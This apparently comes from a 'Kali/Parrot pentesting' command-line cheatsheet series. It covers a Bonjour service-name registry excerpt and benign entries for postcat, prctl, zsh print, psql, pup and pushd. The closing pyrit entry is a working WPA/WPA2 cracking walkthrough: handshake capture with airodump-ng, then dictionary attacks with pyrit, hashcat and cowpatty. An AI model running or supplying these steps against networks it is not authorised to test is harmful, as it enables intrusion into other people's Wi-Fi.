visel visel Q-System services [Lehpaner_Sasa] [Lehpaner_Sasa] type> Name=<service Name> Zone=<service zone> ID=<serviceID>
SString=<serviceString> SString1=<serviceString>
Virtual Object System (using Defined TXT keys: url=<Object URL with full path>
vos VOP/TCP) [Reed_Hedges][Peter_Amstutz] [Reed_Hedges][Peter_Amstutz] type=<Comma-seperated list of object types> title=<Short
title of service> descr=<Short description of service>
voxidahmp tcp RTP Mixer/Summation Resource [Accurate_Always_Inc] [Yousef_Shemisa] 2018-12-03 Defined TXT keys: None
vrmg-p2p tcp Verimag mobile class [Verimag_OOO] [Denis_Ionov] 2018-07-20 Defined TXT keys: d=<discovery key>, t=<mobile class ID>
protocol over P2P
vue4rendercow VueProRenderCow Defined TXT keys: None
vxi-11 VXI-11 TCP/IP Instrument [Nick_Barendt_2] [Nick_Barendt_2] Defined TXT keys: None
Protocol
wakeywakey tcp Proprietary [gerry_Brown_associates] [Gerry_Brown] 2012-11-29 Defined TXT keys: None
walkietalkie Walkie Talkie [Johan_Kool] [Johan_Kool] Defined TXT keys: None
wd-2go tcp NAS Service Protocol [Western_Digital] [Rajesh_Batra] 2012-07-11 Defined TXT keys: None
wdp tcp Windows Device Portal [Microsoft_Corporation_5] [Hirsch_Singhal] 2016-03-03 Defined TXT keys: D (device type), S (https port), A
(architecture), T (tags)
Cisco WebEx serials products
webex tcp will release Bonjour based [Mobile_Team] [Aulion_Huang] 2018-02-09 Defined TXT keys: None
service
Cisco WebEx serials products
webex udp will release Bonjour based [Mobile_Team] [Aulion_Huang] 2018-02-09 Defined TXT keys: None
service
we-jell Proprietary collaborative [Vaughn_Amann] [Vaughn_Amann] Defined TXT keys: user=<user name> stat=<OK, DND, AWY,
messaging protocol FWD:uname> agent=<agent type>
World Wide Web Distributed
webdav Authoring and Versioning [Y_Y_Goland] [Y_Y_Goland] Defined TXT keys: u=<username> p=<password> path=<path>
(WebDAV)
webdavs WebDAV over SSL/TLS [Y_Y_Goland] [Y_Y_Goland] Defined TXT keys: u=<username> p=<password> path=<path>
webissync WebIS Sync Protocol [Alex_Kac] [Alex_Kac] Defined TXT keys: None
wedraw weDraw document sharing [Oleksandr_Zakharchuk] [Oleksandr_Zakharchuk] Defined TXT keys: None
protocol
whamb Whamb [Whamb] [Whamb] Defined TXT keys: None
whistler Honeywell Video Systems [Shankar_Prasad_2] [Shankar_Prasad_2] Defined TXT keys: None
wicop udp WiFi Control Platform [Santorini_LLC] [Cameron_Colpitts] 2011-10-25 Defined TXT keys: state=<state> loc=<location>
System for transferring
wifile tcp files between mobile device [Artyom_Nikolaev] [Artyom_Nikolaev] 2016-12-23 Defined TXT keys: None
and computer in a local
network
witap WiTap Sample Game Protocol [Rory_McGuire_2] [Rory_McGuire_2] Defined TXT keys: None
witapvoice witapvoice [Roberto_Garcia] [Roberto_Garcia] Defined TXT keys: None
wkgrpsvr Workgroup Server Discovery [Forest_Hill] [Forest_Hill] Defined TXT keys: None
workstation Workgroup Manager [Kevin_Arnold] [Kevin_Arnold] Defined TXT keys: None
wormhole Roku Cascade Wormhole [Don_Woodward] [Don_Woodward] Defined TXT keys: txtvers=1
Protocol
workgroup Novell collaboration [Brady_Anderson] [Brady_Anderson] Defined TXT keys: version=? description=?
workgroup
wpl-ers-http tcp World Programming repository [World_Programming_Limited] [Thomas_Quarendon] 2017-03-17 Defined TXT keys: None
server
wpl-ers-zmq tcp World Programming repository [World_Programming_Limited] [Thomas_Quarendon] 2017-03-17 Defined TXT keys: None
server
writietalkie Writie Talkie Data Sharing [Yin_Ki_Lau] [Yin_Ki_Lau] Defined TXT keys: None
ws Web Services [Andrew_Donoho] [Andrew_Donoho] Defined TXT keys: None
wtc-heleos Wyatt Technology Corporation [Brent_Fulgham] [Brent_Fulgham] Defined TXT keys: None
HELEOS
wtc-qels Wyatt Technology Corporation [Brent_Fulgham] [Brent_Fulgham] Defined TXT keys: None
QELS
wtc-rex Wyatt Technology Corporation [Roy_Reapor] [Roy_Reapor] Defined TXT keys: None
Optilab rEX
wtc-viscostar Wyatt Technology Corporation [Roy_Reapor] [Roy_Reapor] Defined TXT keys: None
ViscoStar
wtc-wpr Wyatt Technology Corporation [Brent_Fulgham] [Brent_Fulgham] Defined TXT keys: None
DynaPro Plate Reader
wwdcpic PictureSharing sample code [Marc_Krochmal] [Marc_Krochmal] Defined TXT keys: None
x-on x-on services [Matthias_Burghardt] [Matthias_Burghardt] Defined TXT keys: Proprietary
synchronisation protocol
x-plane9 udp x-plane9 [Austin_Meyer] [Austin_Meyer] Defined TXT keys: None
xcodedistcc Xcode Distributed Compiler [Scott_Tooker] [Scott_Tooker] Defined TXT keys: None
xential tcp xential document creation [Xential] [Michiel_Terpstra] 2013-11-13 Defined TXT keys: None
services
xgate-rmi xGate Remote Management [Tim_Jobling] [Tim_Jobling] Defined TXT keys: tech=value (string) model=value (string)
Interface version=value (string)
xmiserver tcp XMI Systems home terminal [XMI_Systems_SA] [CLAUDE_MALLY] 2013-01-18 Defined TXT keys: coucou
local connection
xmp Xperientia Mobile Protocol [Henric_Bergh] [Henric_Bergh] 2007-01 Defined TXT keys: txtvers, user, system, nodeid, desc
xsanclient Xsan Client [Jeff_Albouze] [Jeff_Albouze] Defined TXT keys: None
xsanserver Xsan Server [Jeff_Albouze] [Jeff_Albouze] Defined TXT keys: None
xsansystem Xsan System [Jeff_Albouze] [Jeff_Albouze] Defined TXT keys: None
xtimelicence xTime License [AppMac_Software] [AppMac_Software] Defined TXT keys: None
xtshapro xTime Project [AppMac_Software] [AppMac_Software] Defined TXT keys: None
XUL (XML User Interface Defined TXT keys: u=<username> p=<password> path=<path to
xul-http Language) transported over [Eran_Gampel] [Eran_Gampel] document> (Same as for _http._tcp)
HTTP
yakumo udp Yakumo iPhone OS Device [Daniel_Heffernan] [Daniel_Heffernan] Defined TXT keys: None
Control Protocol
z-wave tcp Z-Wave Service Discovery [Sigma_Designs_Inc] [Anders_Brandt_2] 2011-10-03 Defined TXT keys: NIF, EP, LM
z-wave udp Z-Wave Service Discovery [Sigma_Designs_Inc] [Anders_Brandt_2] 2011-10-03 Defined TXT keys: NIF, EP, LM
zeromq tcp High performance brokerless [Daniel_Holth] [Daniel_Holth] 2012-04-24 Defined TXT keys: type, app, label, note
messaging
zeromq udp High performance brokerless [Daniel_Holth] [Daniel_Holth] 2012-04-24 Defined TXT keys: type, app, label, note
messaging
zigbee-bridge tcp ZigBee Bridge device [ZigBee_Alliances_Network_Device_working_group] [Leslie_Mulder] 2013-05-28 Defined TXT keys: see:
http://www.zigbee.org/Standards/ZigBeeNetworkDevices
zigbee-bridge udp ZigBee Bridge device [ZigBee_Alliances_Network_Device_working_group] [Leslie_Mulder] 2013-05-28 Defined TXT keys: see:
http://www.zigbee.org/Standards/ZigBeeNetworkDevices
zigbee-gateway tcp ZigBee IP Gateway [ZigBee_Alliances_Network_Device_working_group] [Leslie_Mulder] 2013-05-28 Defined TXT keys: see:
http://www.zigbee.org/Standards/ZigBeeNetworkDevices
zigbee-gateway udp ZigBee IP Gateway [ZigBee_Alliances_Network_Device_working_group] [Leslie_Mulder] 2013-05-28 Defined TXT keys: see:
http://www.zigbee.org/Standards/ZigBeeNetworkDevices
#==============================##==============================#
# CMD PORT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ports in a clear format. This allows users to quickly access the needed information for ports without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ports are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
131 - 🖥️postcat
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the postcat command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ███████╗████████╗ ██████╗ █████╗ ████████╗
# ██╔══██╗██╔═══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗╚══██╔══╝
# ██████╔╝██║ ██║███████╗ ██║ ██║ ███████║ ██║
# ██╔═══╝ ██║ ██║╚════██║ ██║ ██║ ██╔══██║ ██║
# ██║ ╚██████╔╝███████║ ██║ ╚██████╗██║ ██║ ██║
# ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝
postcat -vq 6311220097
postcat -vq MessageID aus mailq -> gibt die Nachricht wieder aus
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command postcat in a clear format. This allows users to quickly access the needed information for postcat without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for postcat are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
132 - 🖥️prctl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the prctl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗████████╗██╗
# ██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║
# ██████╔╝██████╔╝██║ ██║ ██║
# ██╔═══╝ ██╔══██╗██║ ██║ ██║
# ██║ ██║ ██║╚██████╗ ██║ ███████╗
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
# prctl
# Get or set the resource controls of running processes,
# Tasks, and projects (Solaris)
# Examine process limits and permissions:
prctl ${PID}
# Examine process limits and permissions in machine parseable format:
prctl -P ${PID}
# Get specific limit for a running process:
prctl -n process.max-file-descriptor ${PID}
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command prctl in a clear format. This allows users to quickly access the needed information for prctl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for prctl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
133 - 🖥️print
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the print command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██╗███╗ ██╗████████╗
# ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝
# ██████╔╝██████╔╝██║██╔██╗ ██║ ██║
# ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║
# ██║ ██║ ██║██║██║ ╚████║ ██║
# ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝
# A plain old glob
print -l *.txt
print -l **/*.txt
# Show text files that end in a number from 1 to 10
print -l **/*<1-10>.txt
# Show text files that start with the letter a
print -l **/[a]*.txt
# Show text files that start with either ab or bc
print -l **/(ab|bc)*.txt
# Show text files that don't start with a lower or uppercase c
print -l **/[^cC]*.txt
# Show only directories
print -l **/*(/)
# Show only regular files
print -l **/*(.)
# Show empty files
print -l **/*(L0)
# Show files greater than 3 KB
print -l **/*(Lk+3)
# Show files modified in the last hour
print -l **/*(mh-1)
# Sort files from most to least recently modified and show the last 3
print -l **/*(om[1,3])
# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour,
# `om` sort by modification date, `[1,3]` only first 3 files
print -l **/*(.Lm-2mh-1om[1,3])
# Show every directory that contain directory `.git`
print -l **/*(e:'[[ -d $REPLY/.git ]]':)
# Return the file name (t stands for tail)
print -l *.txt(:t)
# Return the file name without the extension (r stands for remove_extension)
print -l *.txt(:t:r)
# Return the extension
print -l *.txt(:e)
# Return the parent folder of the file (h stands for head)
print -l *.txt(:h)
# Return the parent folder of the parent
print -l *.txt(:h:h)
# Return the parent folder of the first file
print -l *.txt([1]:h)
# Parameter expansion
files=(*.txt) # store a glob in a variable
print -l $files
print -l $files(:h) # this is the syntax we saw before
print -l ${files:h}
print -l ${files(:h)} # don't mix the two, or you'll get an error
print -l ${files:u} # the :u modifier makes the text uppercase
# :s modifier
variable="path/aaabcd"
echo ${variable:s/bc/BC/} # path/aaaBCd
echo ${variable:s_bc_BC_} # path/aaaBCd
echo ${variable:s/\//./} # path.aaabcd (escaping the slash \/)
echo ${variable:s_/_._} # path.aaabcd (slightly more readable)
echo ${variable:s/a/A/} # pAth/aaabcd (only first A is replaced)
echo ${variable:gs/a/A/} # pAth/AAAbcd (all A is replaced)
# Split the file name at each underscore
echo ${(s._.)file}
# Join expansion flag, opposite of the split flag.
array=(a b c d)
echo ${(j.-.)array} # a-b-c-d
#==============================##==============================#
# CMD PRINT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command print in a clear format. This allows users to quickly access the needed information for print without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for print are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
134 - 🖥️psql
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the psql command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ ██████╗ ██╗
# ██╔══██╗██╔════╝██╔═══██╗██║
# ██████╔╝███████╗██║ ██║██║
# ██╔═══╝ ╚════██║██║▄▄ ██║██║
# ██║ ███████║╚██████╔╝███████╗
# ╚═╝ ╚══════╝ ╚══▀▀═╝ ╚══════╝
# PostgreSQL command-line client.
# Connect to database. It connects to localhost using default port 5432 with default user as currently logged in user:
psql database
# Connect to database on given server host running on given port with given username, without a password prompt:
psql -h host -p port -U username database
# Connect to database; user will be prompted for password:
psql -h host -p port -U username -W database
# Execute a single SQL query or PostgreSQL command on the given database (useful in shell scripts):
psql -c 'query' database
# Execute commands from a file on the given database:
psql database -f file.sql
# See also:
# pg_dump, pg_restore, pg_top
# PostgreSQL cheat sheets at /psql/
# list of pages: /psql/:list
# search in pages: /psql/~keyword
# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5.
# Connection options:
# -U username (if not specified current OS user is used).
# -p port.
# -h server hostname/address.
# Connect to a specific database:
psql -U postgres -h serverAddress -d dbName
# Get databases on a server:
psql -U postgres -h serverAddress --list
# Execute sql query and save output to file:
psql -U postgres -d dbName -c 'select * from tableName;' -o fileName
# Execute query and get tabular html output:
psql -U postgres -d dbName -H -c 'select * from tableName;'
# Execute query and save resulting rows to csv file:
psql -U postgres -d dbName -t -A -P fieldsep=',' -c 'select * from tableName;' -o fileName.csv
# Read commands from file:
psql -f fileName
# Restore databases from file:
psql -f fileName.backup postgres
#==============================##==============================#
# CMD PSQL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command psql in a clear format. This allows users to quickly access the needed information for psql without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for psql are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
135 - 🖥️pup
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pup command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗██████╗
# ██╔══██╗██║ ██║██╔══██╗
# ██████╔╝██║ ██║██████╔╝
# ██╔═══╝ ██║ ██║██╔═══╝
# ██║ ╚██████╔╝██║
# ╚═╝ ╚═════╝ ╚═╝
# pup
#
# pup is a command line tool for processing HTML
# It reads from stdin, prints to stdout, and allows the user to filter parts of the page using CSS selectors.
# install pup
# (requires go)
go install github.com/ericchiang/pup
# indent and colorize HTML
cat file.html | pup --color
# filter by tag
cat file.html | pup 'title'
# pseudoclass: filter by content "History"
cat file.html | pup ':contains("History")'
# multiple groups of selectors
cat file.html | pup 'title, h1 span[dir="auto"]'
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pup in a clear format. This allows users to quickly access the needed information for pup without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pup are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
136 - 🖥️pushd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pushd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗███████╗██╗ ██╗██████╗
# ██╔══██╗██║ ██║██╔════╝██║ ██║██╔══██╗
# ██████╔╝██║ ██║███████╗███████║██║ ██║
# ██╔═══╝ ██║ ██║╚════██║██╔══██║██║ ██║
# ██║ ╚██████╔╝███████║██║ ██║██████╔╝
# ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝
# Pushes your current directory to the top of a stack while changing to the specified directory
pushd <directory>
pushd and popd
# are also common programs you can use for moving around the filesystem. See 'help pushd' and 'help popd' for info.
# To return use popd
popd
# Come back quickly to the current directory after doing some temporary work somewhere else
pushd /some/where/else; work; cd /somewhere; work; cd /another/place; popd
# Explanation:
# pushd, popd and dirs are bash builtins, you can read about them with help dirs
# bash keeps a stack of "remembered" directories, and this stack can be manipulated with the pushd and popd builtins, and displayed with the dirs builtin
# pushd will put the current directory on top of the directory stack. So, if you need to change to a different directory temporarily and you know that eventually you will want to come back to where you are, it is better to change directory with pushd instead of cd. While working on the temporary task you can change directories with cd several times, and in the end when you want to come back to where you started from, you can simply do popd.
#==============================##==============================#
# CMD PUSHD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pushd in a clear format. This allows users to quickly access the needed information for pushd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pushd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
137 - 🖥️pyrit
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pyrit command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗██████╗ ██╗████████╗
# ██╔══██╗╚██╗ ██╔╝██╔══██╗██║╚══██╔══╝
# ██████╔╝ ╚████╔╝ ██████╔╝██║ ██║
# ██╔═══╝ ╚██╔╝ ██╔══██╗██║ ██║
# ██║ ██║ ██║ ██║██║ ██║
# ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
http://console-cowboys.blogspot.com/2011/01/more-wpa-cracking-techniques-jtr-pyrit.html
https://br-new.com/online/%E2%96%BA-kali-linux-cowpatty-genpmk-pyrit-vs-aircrack-ng-tutorial-deutsch-hd-YQ0jcgLbHqg.html
pyrit eval
pyrit -i <dictionary.txt> import_passwords
pyrit -e <ssid> create_essid
pyrit eval
pyrit batch
pyrit verify
pyrit -o <wpadb> export_hashdb
aircrack-ng -r <wpadb> <output01>.cap
Some useful resources
http://www.backtrack-linux.org/tutorials/usb-live-install/
http://www.backtrack-linux.org/downloads/
http://www.aircrack-ng.org/doku.php?id=airolib-ng
http://j2neon.blogspot.com/2011/07/cracking-wpa-using-pyrit-and-aircrack.html
https://xiaopan.co/forums/threads/crack-wpa2-know-your-target.2030/
http://adaywithtape.blogspot.com/2011/05/creating-wordlists-with-crunch-v30.html
./crunch 10 10 0123456789 -s 0125700000 -e 0125800000 -u | ./cowpatty -2 -f- -r <cap.file> -s <ESSID> -v
pyrit -r "yourcapture*.pcap" analyze give you what status (good/workable/bad)?
pyrit -r handshake_NETGEAR83_2C-30-33-D5-7F-E4_2018-07-14T22-47-58.cap analyze
airmon-ng start wlan0
Now the monitor mode is enabled with name wlan0mon.
and then with the following command start listening to all the available wifi connections:
airodump-ng wlan0mon
After running the above command it will start listening all the wifi traffic nearby so wait till your target appears and then hit ctrl^c.
Now we have to listen to a specific channel on which the target is present . Now run command:
airodump-ng -c 2 –bssid 3C:1E:04:XX:XX:XX –write sommay wlan0mon
-c == channel number of the target (2 in my case , see the CH column)
–bssid == MAC address of the target AP
–write == name of the capture file
Now wait till the WPA handshake is captured and then hit crtl^c.
Now a file named sommay-01.cap will be generated
PYRIT
First method to crack the password from the capture file is PYRIT . We will use dictionary-attack so run command:
pyrit -i /usr/share/nmap/nselib/data/password.lst -r sommay-01.cap attack_passthrough
-i == path to the input file in our case it is the path to dictionary
-r == path to the captured fle which ( in our case it is sommay-01.cap)
attack_passthrough == this options is to specify that a dictionary attack is to be performed
As you can see it has successfully cracked the password.
OCLHASHCAT
First of all download oclhashcat from its official website: https://hashcat.net/files/hashcat-2.00.7z
First we have to convert the .cap file we captured with airodump-ng previously to .hccap with aircrack-ng by command:
aircrack-ng sommay-01.cap -J sommay-01
-J == the path to the output file with extension .hccap
Now copy the dictionary you want to use in the Hashcat folder. Now enter in the hashcat folder and run command:
./hashcat-cli64.bin -m 2500 /root/sommay-01.hccap passwords.lst
In above command if you are using 32 bit system replace 64 with 32.
-m is the hash type which is 2500 for WPA/WPA2 cracking
then give the path to .hccap file which you converted with aircrack-ng. and then the name of the dictionary file. As you can see it has successfully cracked the password.
COWPATTY
For cracking with the help of cowpatty we have to first generate the hash file specific to the target AP. For this we will use genpmk so run command:
genpmk -f passwords.lst -d cowpatty_dict -s SOMMAY
-f == path to the dictionary file
-d == name of the output dictionary
-s == ESSID(Name) of the target AP(The name should be identical to the target AP)
Now it will generate a dictionary file named cowpatty_dict which will speed up the cracking process.
Now run command :
cowpatty -d cowpatty_dict -r sommay-01.cap -s SOMMAY
